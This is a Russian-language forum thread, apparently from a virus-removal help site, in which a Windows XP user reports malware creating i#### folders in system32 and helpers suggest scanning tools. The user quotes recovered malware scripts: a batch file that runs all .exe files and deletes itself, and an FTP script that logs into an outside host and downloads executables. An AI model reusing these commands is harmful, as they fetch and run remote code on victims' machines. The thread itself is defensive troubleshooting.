Какая-то гадость ломится на yrrpp.to.jajaca.com

[sega72]

Работаю на win xp sp3, все обновления установлены. Также установлен последний DrWeb с брендмаузером. Доктор и его файрвол ни на что не ругаются.

Какая-то гадость создает каталоги в папке system32. Название каталога всегда формата i####, где i - буква i, а #### - четыре произвольные цифры (пример - i5095).
Появление каталогов вида i#### обнаружил adinf32, сами каталоги никогда не содержат файлов. Однако, Norton Unerase показывает наличие в этих каталогах двух стертых файлов. Файлы называются: D.bat и J
Содержание D.bat:
for %%i in (*.exe) do start %%i
for %%i in (*.exe) do %%i
del /f /q %0%

Содержание J:
open yrrpp.to.jajaca.com
Net
123
mget *.exe
bye

AVPTool (при работе в безопасном режиме) ничего подозрительного не нашел.

[Info_bot]

Уважаемый(ая) sega72, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Шапельский Александр]

Сделайте лог полного сканирования МВАМ

[thyrex]

Сделайте лог ComboFix

[sega72]

Сделайте лог полного сканирования МВАМ

сделано

[sega72]

Сделайте лог ComboFix

сделано

[thyrex]

Что сейчас с проблемой?

[sega72]

Что сейчас с проблемой?

Комп простоял ночь, подкюченный к интернету, новых каталогов формата i#### не появилось. Жду указаний.

Добавлено через 2 часа 23 минуты

Combofix поместил в карантин три файла и файл реестра.
1) Что это за файлы, то есть какие программы (или, может быть, драйвера) надо переустанавливать, чтобы система работала стабильно?
2) Удалять ли файлы, который попали в карантин?
3) Как называются эти вредоносные программы?
4) Надо ли повторно запустить ComboFix?
5) Можно ли деинсталировать ComboFix и MBAM?

Добавлено через 3 часа 5 минут

поддержите проект.

Проект поддержал.

Добавлено через 1 минуту

Кто-нибудь скажите - что дальше делать?

Добавлено через 1 час 28 минут

Что сейчас с проблемой?

Опять появился каталог вида i#### (i5707) в папке system32 С утра был запущен только IE8 для работы с этим сайтом и пасьянс Косынка, больше ничего не делалось.

[thyrex]

Опять появился каталог вида i#### (i5707) в папке system32

Вирус лезет через дыры в системе + уязвимости MS SQL Server, если таковым пользуетесь
Уверены, что установлены все обновления для системы?

[sega72]

Вирус лезет через дыры в системе + уязвимости MS SQL Server, если таковым пользуетесь
Уверены, что установлены все обновления для системы?

MS SQL Server не пользуюсь.
Установлены все обновления, только что проверил.

Что мне делать дальше? Чем проверить систему? Или мой случай неоперабельный?

[sega72]

Каталоги продолжают создаваться в папке system32.

Что мне делать дальше? Чем проверить систему? Или мой случай неоперабельный?

[Шапельский Александр]

Скачайте Kaspersky Rescue Disk, запишите образ на диск, загрузитесь с него и проверьте компьютер.
Скачивать и записывать диск надо на чистом ПК

[sega72]

Скачайте Kaspersky Rescue Disk, запишите образ на диск, загрузитесь с него и проверьте компьютер.
Скачивать и записывать диск надо на чистом ПК

Уже делал так, еще до обращения на ваш сайт. Скачал на чистом компе, записал образ на флешку, с флешки загрузился. Ничего не нашлось.